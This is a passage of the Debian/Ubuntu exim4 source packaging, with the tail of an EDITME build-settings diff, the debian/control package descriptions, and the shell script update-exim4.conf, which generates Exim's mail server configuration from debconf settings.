EXICYCLOG_MAX=10 # files. Both the name of the command and the suffix that it adds to files # need to be defined here. See also the EXICYCLOG_MAX configuration. -COMPRESS_COMMAND=/usr/bin/gzip +COMPRESS_COMMAND=/bin/gzip COMPRESS_SUFFIX=gz @@ -831,7 +836,7 @@ COMPRESS_SUFFIX=gz # If the exigrep utility is fed compressed log files, it tries to uncompress # them using this command. -ZCAT_COMMAND=/usr/bin/zcat +ZCAT_COMMAND=/bin/zcat #------------------------------------------------------------------------------ @@ -864,6 +869,7 @@ ZCAT_COMMAND=/usr/bin/zcat # You probably need to add -lpam to EXTRALIBS, and in some releases of # GNU/Linux -ldl is also needed. +EXTRALIBS=-ldl #------------------------------------------------------------------------------ @@ -930,6 +936,8 @@ ZCAT_COMMAND=/usr/bin/zcat # CYRUS_SASLAUTHD_SOCKET=/var/state/saslauthd/mux +# default in Debian's sasl2-bin +CYRUS_SASLAUTHD_SOCKET=/var/run/saslauthd/mux #------------------------------------------------------------------------------ # TCP wrappers: If you want to use tcpwrappers from within Exim, uncomment @@ -1233,6 +1241,7 @@ TMPDIR="/tmp" # file can be specified here. Some installations may want something like this: # PID_FILE_PATH=/var/lock/exim.pid +PID_FILE_PATH=/var/run/exim4/exim.pid # If PID_FILE_PATH is not defined, Exim writes a file in its spool directory # using the name "exim-daemon.pid". @@ -1266,6 +1275,7 @@ TMPDIR="/tmp" # messages become "invisible" to the normal management tools. # SUPPORT_MOVE_FROZEN_MESSAGES=yes +SUPPORT_MOVE_FROZEN_MESSAGES=yes #------------------------------------------------------------------------------ @@ -1304,3 +1314,6 @@ TMPDIR="/tmp" # ENABLE_DISABLE_FSYNC=yes # End of EDITME for Exim 4. + +# enable IPv6 support +HAVE_IPV6=YES debian/control0000644000000000000000000004245412671566627010624 0ustar Source: exim4 Section: mail Priority: standard Maintainer: Ubuntu Developers XSBC-Original-Maintainer: Exim4 Maintainers Uploaders: Andreas Metzler ,Marc Haber Homepage: http://www.exim.org/ Standards-Version: 3.9.5 #Vcs-Git: git://git.debian.org/git/pkg-exim4/exim4.git #Vcs-Browser: http://git.debian.org/?p=pkg-exim4/exim4.git Vcs-Git: git://anonscm.debian.org/pkg-exim4/exim4.git Vcs-Browser: http://anonscm.debian.org/gitweb/?p=pkg-exim4/exim4.git Build-Depends: debhelper (>= 7.0.15), po-debconf, docbook-xsl, xsltproc, lynx-cur | lynx, docbook-xml, libpcre3-dev, libldap2-dev, libpam0g-dev, libident-dev, libdb5.3-dev, libxmu-dev, libxt-dev, libxext-dev, libx11-dev, libxaw7-dev, libpq-dev, libmysqlclient-dev | libmysqlclient15-dev, libsqlite3-dev, libperl-dev, libgnutls-dev, libsasl2-dev, lsb-release XS-Testsuite: autopkgtest Package: exim4-base Architecture: any Breaks: exim4-daemon-light (<<${Upstream-Version}), exim4-daemon-heavy (<<${Upstream-Version}), exim4-daemon-custom (<<${Upstream-Version}) Conflicts: exim, exim-tls Replaces: exim, exim-tls, exim4-daemon-light, exim4-daemon-heavy, exim4-daemon-custom Depends: ${shlibs:Depends}, ${misc:Depends}, cron | fcron, exim4-config (>=4.30) | exim4-config-2, adduser, netbase, lsb-base (>= 3.0-6) # psmisc just for exiwhat. Recommends: psmisc, mailx, perl-modules Suggests: mail-reader, eximon4, exim4-doc-html|exim4-doc-info, gnutls-bin | openssl, file, spf-tools-perl, swaks Description: support files for all Exim MTA (v4) packages Exim (v4) is a mail transport agent. exim4-base provides the support files needed by all exim4 daemon packages. You need an additional package containing the main executable. The available packages are: . exim4-daemon-light exim4-daemon-heavy . If you build exim4 from the source package locally, you can also build an exim4-daemon-custom package tailored to your own feature set. . The Debian exim4 packages have their own web page, http://wiki.debian.org/PkgExim4. There is also a Debian-specific FAQ list. Information about the way the Debian packages are configured can be found in /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains information about the way the Debian binary packages are built. The very extensive upstream documentation is shipped in /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven configuration process in a standard setup, invoke dpkg-reconfigure exim4-config. There is a Debian-centered mailing list, pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. You can find the subscription web page on http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users Package: exim4-config Architecture: all Breaks: exim4-daemon-light (<< 4.82-3ubuntu2.1), exim4-daemon-heavy (<< 4.82-3ubuntu2.1) Provides: exim4-config-2 Conflicts: exim, exim-tls, exim4-config, exim4-config-2, ${MTA-Conflicts} Depends: ${shlibs:Depends}, ${misc:Depends}, adduser Description: configuration for the Exim MTA (v4) Exim (v4) is a mail transport agent. exim4-config provides the configuration for the exim4 daemon packages. The configuration framework has been split off the main package to allow sites to replace the configuration scheme with their own without having to change the actual exim4 packages. . Sites with special configuration needs (having a lot of identically configured machines for example) can use this to distribute their own custom configuration via the packaging system, using the magic available with dpkg's conffile handling, without having to do local changes on all of these machines. . The Debian exim4 packages have their own web page, http://wiki.debian.org/PkgExim4. There is also a Debian-specific FAQ list. Information about the way the Debian packages are configured can be found in /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains information about the way the Debian binary packages are built. The very extensive upstream documentation is shipped in /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven configuration process in a standard setup, invoke dpkg-reconfigure exim4-config. There is a Debian-centered mailing list, pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. You can find the subscription web page on http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users Package: exim4-daemon-light Architecture: any Provides: mail-transport-agent, exim4-localscanapi-1.0, exim4-localscanapi-1.1 Conflicts: mail-transport-agent Replaces: mail-transport-agent, exim4-base (<= 4.61-1) Depends: exim4-base (>= ${Upstream-Version}), ${shlibs:Depends}, ${misc:Depends} Description: lightweight Exim MTA (v4) daemon Exim (v4) is a mail transport agent. This package contains the exim4 daemon with only basic features enabled. It works well with the standard setups that are provided by Debian and includes support for TLS encryption and the dlopen patch to allow dynamic loading of a local_scan function. . The Debian exim4 packages have their own web page, http://wiki.debian.org/PkgExim4. There is also a Debian-specific FAQ list. Information about the way the Debian packages are configured can be found in /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains information about the way the Debian binary packages are built. The very extensive upstream documentation is shipped in /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven configuration process in a standard setup, invoke dpkg-reconfigure exim4-config. There is a Debian-centered mailing list, pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. You can find the subscription web page on http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users Package: exim4 Architecture: all Depends: ${misc:Depends}, debconf (>= 1.4.69) | cdebconf (>= 0.39), exim4-base (>= ${Upstream-Version}), exim4-daemon-light | exim4-daemon-heavy | exim4-daemon-custom Description: metapackage to ease Exim MTA (v4) installation Exim (v4) is a mail transport agent. exim4 is the metapackage depending on the essential components for a basic exim4 installation. . The Debian exim4 packages have their own web page, http://wiki.debian.org/PkgExim4. There is also a Debian-specific FAQ list. Information about the way the Debian packages are configured can be found in /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains information about the way the Debian binary packages are built. The very extensive upstream documentation is shipped in /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven configuration process in a standard setup, invoke dpkg-reconfigure exim4-config. There is a Debian-centered mailing list, pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. You can find the subscription web page on http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users Package: exim4-daemon-heavy Architecture: any Priority: optional Provides: mail-transport-agent, exim4-localscanapi-1.0, exim4-localscanapi-1.1 Conflicts: mail-transport-agent Replaces: mail-transport-agent, exim4-base (<= 4.61-1) Depends: exim4-base (>= ${Upstream-Version}), ${shlibs:Depends}, ${misc:Depends} Breaks: clamav-daemon (<< 0.95) Description: Exim MTA (v4) daemon with extended features, including exiscan-acl Exim (v4) is a mail transport agent. This package contains the exim4 daemon with extended features. In addition to the features already supported by exim4-daemon-light, exim4-daemon-heavy includes LDAP, sqlite, PostgreSQL and MySQL data lookups, SASL and SPA SMTP authentication, embedded Perl interpreter, and the content scanning extension (formerly known as "exiscan-acl") for integration of virus scanners and spamassassin. . The Debian exim4 packages have their own web page, http://wiki.debian.org/PkgExim4. There is also a Debian-specific FAQ list. Information about the way the Debian packages are configured can be found in /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains information about the way the Debian binary packages are built. The very extensive upstream documentation is shipped in /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven configuration process in a standard setup, invoke dpkg-reconfigure exim4-config. There is a Debian-centered mailing list, pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. You can find the subscription web page on http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users Package: exim4-daemon-custom Architecture: any Priority: optional Provides: mail-transport-agent, exim4-localscanapi-1.0, exim4-localscanapi-1.1 Conflicts: mail-transport-agent Replaces: mail-transport-agent, exim4-base (<= 4.61-1) Depends: exim4-base (>= ${Upstream-Version}), ${shlibs:Depends}, ${misc:Depends} Description: custom Exim MTA (v4) daemon with locally set features Exim (v4) is a mail transport agent. This package contains a custom-configured exim4 daemon compiled to local needs. This package is not part of official Debian, but can easily be built from the Debian source package. For information about the feature set compiled in, and for bug reports, please find out who built your package. . The Debian exim4 packages have their own web page, http://wiki.debian.org/PkgExim4. There is also a Debian-specific FAQ list. Information about the way the Debian packages are configured can be found in /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains information about the way the Debian binary packages are built. The very extensive upstream documentation is shipped in /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven configuration process in a standard setup, invoke dpkg-reconfigure exim4-config. There is a Debian-centered mailing list, pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. You can find the subscription web page on http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users Package: eximon4 Architecture: any Priority: optional Conflicts: eximon Replaces: eximon Depends: ${shlibs:Depends}, ${misc:Depends}, exim4-base (>= 4.10) Description: monitor application for the Exim MTA (v4) (X11 interface) Eximon is a helper program for the Exim MTA (v4). It allows administrators to view the mail queue and logs, and perform a variety of actions on queued messages, such as freezing, bouncing and thawing messages. Package: exim4-dbg Architecture: any Priority: extra Section: debug Depends: exim4-base, exim4-config, ${misc:Depends} Recommends: eximon4 Description: debugging symbols for the Exim MTA (utilities) Exim (v4) is a mail transport agent. This package contains debugging symbols for the binaries contained in the exim4 packages. The daemon packages have their own debug package. . The Debian exim4 packages have their own web page, http://wiki.debian.org/PkgExim4. There is also a Debian-specific FAQ list. Information about the way the Debian packages are configured can be found in /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains information about the way the Debian binary packages are built. The very extensive upstream documentation is shipped in /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven configuration process in a standard setup, invoke dpkg-reconfigure exim4-config. There is a Debian-centered mailing list, pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. You can find the subscription web page on http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users Package: exim4-daemon-light-dbg Architecture: any Priority: extra Section: debug Depends: exim4-daemon-light, ${misc:Depends} Description: debugging symbols for the Exim MTA "light" daemon Exim (v4) is a mail transport agent. This package contains debugging symbols for the binaries contained in the exim4-daemon-light package. . The Debian exim4 packages have their own web page, http://wiki.debian.org/PkgExim4. There is also a Debian-specific FAQ list. Information about the way the Debian packages are configured can be found in /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains information about the way the Debian binary packages are built. The very extensive upstream documentation is shipped in /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven configuration process in a standard setup, invoke dpkg-reconfigure exim4-config. There is a Debian-centered mailing list, pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. You can find the subscription web page on http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users Package: exim4-daemon-heavy-dbg Architecture: any Priority: extra Section: debug Depends: exim4-daemon-heavy, ${misc:Depends} Description: debugging symbols for the Exim MTA "heavy" daemon Exim (v4) is a mail transport agent. This package contains debugging symbols for the binaries contained in the exim4-daemon-heavy package. . The Debian exim4 packages have their own web page, http://wiki.debian.org/PkgExim4. There is also a Debian-specific FAQ list. Information about the way the Debian packages are configured can be found in /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains information about the way the Debian binary packages are built. The very extensive upstream documentation is shipped in /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven configuration process in a standard setup, invoke dpkg-reconfigure exim4-config. There is a Debian-centered mailing list, pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. You can find the subscription web page on http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users Package: exim4-daemon-custom-dbg Architecture: any Priority: extra Section: debug Depends: exim4-daemon-custom, ${misc:Depends} Description: debugging symbols for the Exim MTA (v4) packages Exim (v4) is a mail transport agent. This package contains debugging symbols for the binaries contained in the exim4-daemon-custom package. . The Debian exim4 packages have their own web page, http://wiki.debian.org/PkgExim4. There is also a Debian-specific FAQ list. Information about the way the Debian packages are configured can be found in /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains information about the way the Debian binary packages are built. The very extensive upstream documentation is shipped in /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven configuration process in a standard setup, invoke dpkg-reconfigure exim4-config. There is a Debian-centered mailing list, pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. You can find the subscription web page on http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users Package: exim4-dev Architecture: any Priority: extra Depends: ${misc:Depends} Description: header files for the Exim MTA (v4) packages Exim (v4) is a mail transport agent. This package contains header files that can be used to compile code that is then dynamically linked to exim's local_scan interface. . The Debian exim4 packages have their own web page, http://wiki.debian.org/PkgExim4. There is also a Debian-specific FAQ list. Information about the way the Debian packages are configured can be found in /usr/share/doc/exim4-base/README.Debian.gz, which additionally contains information about the way the Debian binary packages are built. The very extensive upstream documentation is shipped in /usr/share/doc/exim4-base/spec.txt.gz. To repeat the debconf-driven configuration process in a standard setup, invoke dpkg-reconfigure exim4-config. There is a Debian-centered mailing list, pkg-exim4-users@lists.alioth.debian.org. Please ask Debian-specific questions there, and only write to the upstream exim-users mailing list if you are sure that your question is not Debian-specific. You can find the subscription web page on http://lists.alioth.debian.org/mailman/listinfo/pkg-exim4-users debian/debconf/0000755000000000000000000000000012200230010010542 5ustar debian/debconf/update-exim4.conf0000644000000000000000000003507312200230010013727 0ustar #!/bin/sh # update-exim4.conf(8) - Generate /var/lib/exim4/config.autogenerated set -e set -C set -f UPEX4C_confdir="/etc/exim4" UPEX4C_sections="main acl router transport retry rewrite auth" # list of ue4cc options that need to support both colons and # semicolons as separators. dc_other_hostnames and dc_smarthost # has special handling. UPEX4C_semicolon="dc_local_interfaces dc_relay_nets dc_relay_domains" EXIM="/usr/sbin/exim4" UPEX4C_verbose=no UPEX4C_autoconfigfile=/var/lib/exim4/config.autogenerated UPEX4C_outputfile="${UPEX4C_autoconfigfile}" UPEX4C_version="" usage() { cat <&2 exit 1 fi eval set -- ${TEMP} while test "$1" != "--"; do case $1 in -h|--help) usage exit 0 ;; -v|--verbose) UPEX4C_verbose=yes ;; --keepcomments) UPEX4C_comments=yes ;; --removecomments) UPEX4C_comments=no ;; -o|--output) shift UPEX4C_outputfile="$1" ;; -d|--confdir) shift UPEX4C_confdir="$1" ;; esac shift done shift # No non-option arguments allowed. if [ "$#" -ne 0 ]; then echo "No non option arguments ($@) allowed" >&2 usage >&2 exit 1 fi # exit immediately if /etc/exim4/exim4.conf exists and -o was not specified if [ -e /etc/exim4/exim4.conf ] && \ [ "${UPEX4C_outputfile}" = "${UPEX4C_autoconfigfile}" ] ; then exit 0 fi UE4CC="$UPEX4C_confdir/update-exim4.conf.conf" UPEX4C_confd="$UPEX4C_confdir/conf.d" [ -d "$(dirname "$UPEX4C_outputfile")" ] || \ { printf "$0: Error, missing $(dirname "$UPEX4C_outputfile"), exiting.\n" 1>&2 ; exit 1 ; } if [ -f "$UE4CC" ]; then . "$UE4CC" else echo >&2 "$0: Error, no $UE4CC, exiting." exit 1 fi lowerpipe() { tr 'A-Z' 'a-z' } lowercase() { echo "$*" | lowerpipe } check_ascii_pipe() { IN="$(cat)" # Use "abcdef... instead of a a-z or [:alnum:] here since the alternatives # will also match non-ascii characters. OUT="$(echo $IN | sed 's/[^-0-9ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\/\.!*@_~:;< \[\]]/_/g')" if [ "$OUT" != "$IN" ]; then echo >&2 "$0: non-ascii value $IN read from $UE4CC, sanitizing to $OUT" fi echo $OUT } [ "${CFILEMODE}" = "" ] && CFILEMODE=644 [ "${dc_use_split_config}" = "" ] && dc_use_split_config='false' [ "${dc_localdelivery}" = "" ] && dc_localdelivery='mail_spool' [ "${UPEX4C_comments:-}" = "" ] && UPEX4C_comments="${ue4c_keepcomments:-no}" TEMPLATEFILE="${UPEX4C_confdir}/exim4.conf.template" dc_use_split_config="$(lowercase $dc_use_split_config)" UPEX4C_verbose="$(lowercase $UPEX4C_verbose)" if [ "${dc_use_split_config}" = "true" ]; then [ "${UPEX4C_verbose}" = "yes" ] && \ echo "using split configuration scheme from ${UPEX4C_confd}" if ! [ -d "${UPEX4C_confd}" ]; then printf >&2 "$0: Error, no ${UPEX4C_confd}, exiting.\n" exit 1 fi else [ "${UPEX4C_verbose}" = "yes" ] && \ echo "using non-split configuration scheme from ${TEMPLATEFILE}" fi # take only the first word from /etc/mailname mailname="$(< /etc/mailname sed -n 's/\([-[:alnum:]@\.]\+\).*/\1/;p;q' | lowerpipe | check_ascii_pipe)" # barf if lookups are found. They have never been supported here. if echo " ${dc_other_hostnames} ${dc_smarthost} ${dc_local_interfaces} ${dc_relay_nets} ${dc_relay_domains}"| grep -q '[[:space:]]\(partial-\)\?\(cdb\|dbm\|dbmnz\|\(d\|ipl\|\(n\?wild\)\?l\)search\|nis\)\([\*@]\)\?[[:space:]]*;'; then echo >&2 "WARNING: using 'lookup;' constructs in $UE4CC has never been supported! See /usr/share/doc/exim4-config/NEWS.Debian.gz for details." fi dc_other_hostnames="$(lowercase $dc_other_hostnames | check_ascii_pipe)" # add localhost, get rid of spaces, trailing (semi)colons and make the list # colon separated local_domains="$(echo @:localhost:"${dc_other_hostnames}" | \ sed -e 's/[;: ]*$//' -e 's/ *//' -e 's/;/:/g')" UPEX4C_internal_tmp="$(tempfile -m600 -p ex4)" trap "rm -f ${UPEX4C_internal_tmp}" EXIT INT TERM # run-parts emulation, stolen from Branden's /etc/X11/Xsession # Addition: Use file.rul instead if file if it exists. run_parts () { # reset LC_COLLATE unset LANG LC_COLLATE LC_ALL if [ -z "$1" ]; then errormessage "$0: internal run_parts called without an argument" fi if [ ! -d "$1" ]; then errormessage "$0: internal run_parts called, but $1 does not exist or is not a directory." fi for F in $(ls $1); do if expr "$F" : '[[:alnum:]_-]\+$' > /dev/null 2>&1; then if [ -f "$1/$F" ] ; then if [ -f "$1/${F}.rul" ] ; then echo "$1/${F}.rul" else echo "$1/$F" fi fi else if [ "${UPEX4C_verbose}" = "yes" ] && \ [ -f "$1/$F" ] && \ ! expr "$F" : '[[:alnum:]_-]\+\.rul'> /dev/null 2>&1 ; then echo \ "internal run-parts: ignoring file: $1/$F" 1>&2 fi fi done; } # also from Branden errormessage () { # pretty-print messages of arbitrary length (no trailing newline) echo "$*" | fold -s -w ${COLUMNS:-80} >&2; } cat_parts() { if [ -z "$1" ]; then errormessage "$0: internal cat_parts called without an argument" fi if [ ! -d "$1" ]; then errormessage "$0: internal cat_parts called, but $1 does not exist or is not a directory." fi for file in $(run_parts $1); do echo "#####################################################" echo "### $file" echo "#####################################################" cat "$file" echo echo "#####################################################" echo "### end $file" echo "#####################################################" done } gentmpconf() { rm -f "${UPEX4C_outputfile}.tmp" touch "${UPEX4C_outputfile}.tmp" # this can be removed by the end of 2007 #chown --reference=${TEMPLATEFILE} \ # ${UPEX4C_outputfile}.tmp ${UPEX4C_outputfile} #chmod --reference=${TEMPLATEFILE} \ # ${UPEX4C_outputfile}.tmp ${UPEX4C_outputfile} if [ "$(id -u)" = "0" ]; then chown root:Debian-exim "${UPEX4C_outputfile}.tmp" [ -e "${UPEX4C_outputfile}" ] && \ chown root:Debian-exim "${UPEX4C_outputfile}" fi chmod 640 "${UPEX4C_outputfile}.tmp" if [ -e "${UPEX4C_outputfile}" ]; then chmod 640 "${UPEX4C_outputfile}" fi } removecomments(){ if [ "${UPEX4C_comments}" = "no" ] ; then grep -E -v '^[[:space:]]*#' | sed -e '/^$/N;/\n$/D' ; else cat fi } gentmpconf cat << EOF >> "${UPEX4C_outputfile}.tmp" ######### # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING # This file was generated dynamically from EOF if [ "${dc_use_split_config}" = "true" ] ; then cat << EOF >> "${UPEX4C_outputfile}.tmp" # split config files in the $UPEX4C_confd/ directory. EOF else cat << EOF >> "${UPEX4C_outputfile}.tmp" # non-split config ($UPEX4C_confdir/exim4.conf.localmacros # and $UPEX4C_confdir/exim4.conf.template). EOF fi cat << EOF >> "${UPEX4C_outputfile}.tmp" # The config files are supplemented with package installation/configuration # settings managed by debconf. This data is stored in # $UPEX4C_confdir/update-exim4.conf.conf # Any changes you make here will be lost. # See /usr/share/doc/exim4-base/README.Debian.gz and update-exim4.conf(8) # for instructions of customization. # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING # WARNING WARNING WARNING ######### EOF # handle ";" in input values as separator change for field in $UPEX4C_semicolon; do if eval echo \$$field | grep -q ";"; then eval temp=\$$field if ! echo $temp | grep -q "^<"; then temp="<; $temp" eval "$field='$temp'" fi fi done # fix up smarthost line: change semicolons into single colons dc_smarthost="$(lowercase $dc_smarthost | check_ascii_pipe | sed 's/;/:/g')" dc_relay_nets="$(lowercase $dc_relay_nets | check_ascii_pipe)" if echo "$dc_relay_nets" | grep -q '^<;'; then dc_relay_nets="$dc_relay_nets ; 127.0.0.1 ; ::1" else dc_relay_nets="$dc_relay_nets : 127.0.0.1 : ::::1" fi dc_eximconfig_configtype="$(lowercase $dc_eximconfig_configtype | check_ascii_pipe)" dc_hide_mailname="$(lowercase $dc_hide_mailname | check_ascii_pipe)" dc_readhost="$(lowercase $dc_readhost | check_ascii_pipe)" case "$dc_eximconfig_configtype" in satellite|smarthost) if [ "${dc_hide_mailname}" = "true" ] && [ -n "${dc_readhost}" ] ; then hide_mailname=1 fi ;; local) ;; internet) ;; none|*) if [ "${dc_use_split_config}" = "true" ] ; then for i in ${UPEX4C_sections} ; do cat_parts "${UPEX4C_confd}/$i" done | \ removecomments \ >> "${UPEX4C_outputfile}.tmp" else LOCALMACROS="" if [ -e "/etc/exim4/exim4.conf.localmacros" ]; then LOCALMACROS="/etc/exim4/exim4.conf.localmacros" fi cat "${LOCALMACROS:-/dev/null}" "${TEMPLATEFILE:-/dev/null}" | \ removecomments \ >> "${UPEX4C_outputfile}.tmp" fi mv -f "${UPEX4C_outputfile}.tmp" "${UPEX4C_outputfile}" chmod "${CFILEMODE}" "${UPEX4C_outputfile}" [ "${UPEX4C_verbose}" = "yes" ] && \ echo "Not substituting variables since conftype is none (or other)" exit 0 ;; esac UPEX4C_macros="##############################################\n" UPEX4C_macros="${UPEX4C_macros}# the following macro definitions were created\n" UPEX4C_macros="${UPEX4C_macros}# dynamically by $0\n" preprocess_macro() { macroname="${1:-}" shift contents="$(lowercase ${@:-empty} | check_ascii_pipe)" printf "%s" ".ifndef $macroname\n$macroname=$contents\n.endif\n" } seed_macro() { UPEX4C_macros="${UPEX4C_macros}$(preprocess_macro "$1" "$2")" } file2macros() { file="$1" < $1 \ sed -n '/^[[:upper:]]/p;' | \ grep -v '^CFILEMODE=' | \ while read line; do errormessage "undocumented line $line found in $1, generating exim macro" left="$(echo $line | sed 's/\([^=]*\).*/\1/')" right="$(echo $line | sed 's/[^=]*=\(.*\)/\1/')" preprocess_macro "$left" "$right" done } if [ "${dc_local_interfaces}" != "" ] ; then seed_macro "MAIN_LOCAL_INTERFACES" "${dc_local_interfaces}" fi if [ "${dc_minimaldns}" = "true" ] ; then seed_macro "DC_minimaldns" "1" if guessed_name="$(hostname --fqdn | lowerpipe | check_ascii_pipe | grep '\.')" ; then seed_macro "MAIN_HARDCODE_PRIMARY_HOSTNAME" "$guessed_name" else errormessage "hostname --fqdn did not return a fully qualified name, dc_minimaldns will not work. Please fix your /etc/hosts setup." fi fi if [ -n "${hide_mailname:-}" ]; then seed_macro "HIDE_MAILNAME" "${hide_mailname:-}" fi seed_macro "MAIN_PACKAGE_VERSION" "$UPEX4C_version" seed_macro "MAIN_LOCAL_DOMAINS" "${local_domains}" seed_macro "MAIN_RELAY_TO_DOMAINS" "${dc_relay_domains}" seed_macro "ETC_MAILNAME" "$mailname" seed_macro "LOCAL_DELIVERY" "${dc_localdelivery}" seed_macro "MAIN_RELAY_NETS" "${dc_relay_nets}" seed_macro "DCreadhost" "${dc_readhost}" seed_macro "DCsmarthost" "${dc_smarthost}" seed_macro "DC_eximconfig_configtype" "${dc_eximconfig_configtype}" seed_macro "DCconfig_${dc_eximconfig_configtype}" "1" # dump everything starting with a capital into macros as well # this is going to stay undocumented, but fixes PEBCAK where people write # macros into ue4cc. UPEX4C_macros="${UPEX4C_macros}$(file2macros $UE4CC)" UPEX4C_macros="${UPEX4C_macros}##############################################\n" case "${dc_use_split_config}" in true) for i in ${UPEX4C_sections} ; do echo "# begin processing $i #####" cat_parts "${UPEX4C_confd}/$i" echo "# end of $i #####" done \ | removecomments \ | sed "s|^\(UPEX4CmacrosUPEX4C.*\)$|\1\n$UPEX4C_macros|" \ >> "${UPEX4C_outputfile}.tmp" RELEVANTTEMPLATE="$UPEX4C_confd" ;; false) if [ ! -r "$TEMPLATEFILE" ] ; then echo "Error: Unsplit config selected and $TEMPLATEFILE missing ... exiting" 1>&2 exit 1 fi LOCALMACROS="" if [ -e "/etc/exim4/exim4.conf.localmacros" ]; then LOCALMACROS="${UPEX4C_confdir}/exim4.conf.localmacros" fi cat "${LOCALMACROS:-/dev/null}" "${TEMPLATEFILE:-/dev/null}" \ | removecomments \ | sed "s|^\(UPEX4CmacrosUPEX4C.*\)$|\1\n$UPEX4C_macros|" \ >> "${UPEX4C_outputfile}.tmp" RELEVANTTEMPLATE="$TEMPLATEFILE" ;; *) errormessage "Invalid value for dc_use_split_config: \"${dc_use_split_config}\", exiting." rm -f "${UPEX4C_outputfile}.tmp" exit 1 ;; esac # check for left-over DEBCONF strings that may cause installation trouble # (fix PEBCAK for people who don't accept conffile changes and don't # read docs) if grep -qr '^[^#]*DEBCONF[[:lower:]_]\+DEBCONF' $RELEVANTTEMPLATE \ && ! grep -qr '^[[:space:]]*DEBCONFstringOK_config_adapted[[:space:]]*=' $RELEVANTTEMPLATE; then errormessage "DEBCONFsomethingDEBCONF found in exim configuration. This is most probably caused by you upgrading to exim4 4.67-3 or later without accepting the suggested conffile changes. Please read /usr/share/doc/exim4-config/NEWS.Debian.gz for 4.67-2 and 4.67-4" fi # check for left-over UPEX4CmacrosUPEX4C comment string that may cause # installation trouble (fix PEBCAK for people who don't accept conffile # changes and don't read docs) if grep -qr '# UPEX4CmacrosUPEX4C' $RELEVANTTEMPLATE \ && ! grep -qr '^[[:space:]]*UPEX4CmacrosOK_config_adapted[[:space:]]*=' $RELEVANTTEMPLATE; then errormessage "UPEX4CmacrosUPEX4C found in an exim configuration comment. This is most probably caused by you upgrading to exim4 4.67-5 or later without accepting the suggested conffile changes. Please read /usr/share/doc/exim4-config/NEWS.Debian.gz for 4.67-5" fi # test validity if called without -o if [ "${UPEX4C_outputfile}" = "${UPEX4C_autoconfigfile}" ] && \ [ -x "${EXIM}" ] ; then if ! "${EXIM}" -C "${UPEX4C_outputfile}.tmp" -bV > /dev/null ; then # we have an error in the configuration file. Do not install # and activate. However, errors in string expansions inside # the configuration file are not detected by this check! errormessage "Invalid new configfile ${UPEX4C_outputfile}.tmp, not installing ${UPEX4C_outputfile}.tmp to ${UPEX4C_outputfile}" exit 1 fi fi mv -f "${UPEX4C_outputfile}.tmp" "${UPEX4C_outputfile}" chmod "${CFILEMODE}" "${UPEX4C_outputfile}" # end of file debian/debconf/update-exim4.conf.template0000755000000000000000000000652112027557533015575 0ustar #!/bin/bash set -e CONFDIR="${CONFDIR:-/etc/exim4}" DONOTRUN='true' UPEX4CT_outputfile="${CONFDIR}/exim4.conf.template" usage() { cat <&2 exit 1 fi eval set -- ${TEMP} while test "$1" != "--"; do case $1 in -h|--help) usage exit 0 ;; -o|--output) shift UPEX4CT_outputfile="$1" ;; -n|--nobackup) NOBACKUP=1 ;; -r|--run) DONOTRUN='false' ;; esac shift done shift # No non-option arguments allowed. if [ "$#" -ne 0 ]; then echo "No non option arguments ($@) allowed" >&2 usage >&2 exit 1 fi # run-parts emulation, stolen from Branden's /etc/X11/Xsession # Addition: Use file.rul instead if file if it exists. run_parts () { # reset LC_COLLATE unset LANG 